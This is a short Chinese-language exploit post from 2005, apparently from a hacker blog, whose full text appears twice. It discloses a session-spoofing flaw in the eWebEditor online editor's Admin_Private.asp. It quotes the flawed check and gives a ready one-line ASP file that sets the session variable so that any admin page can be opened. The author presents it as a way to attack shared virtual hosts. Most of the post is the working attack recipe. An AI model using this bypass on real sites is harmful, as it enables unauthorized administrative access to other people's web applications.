2005-12-03 13:16:56 by: h4x0r
eWebEditor session欺骗漏洞
eWebEditor在线编辑器
漏洞文件:Admin_Private.asp
漏洞语句:<%
If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If
只判断了session，没有判断cookies和路径的验证问题。
漏洞利用:
新建一个h4x0r.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp
漏洞影响:虚拟主机的克星. by h4x0r
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=237
漏洞文件:Admin_Private.asp
漏洞语句:<%
If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If
只判断了session，没有判断cookies和路径的验证问题。
漏洞利用:
新建一个h4x0r.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp
漏洞影响:虚拟主机的克星. by h4x0r
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=237
There is no comment on this article.
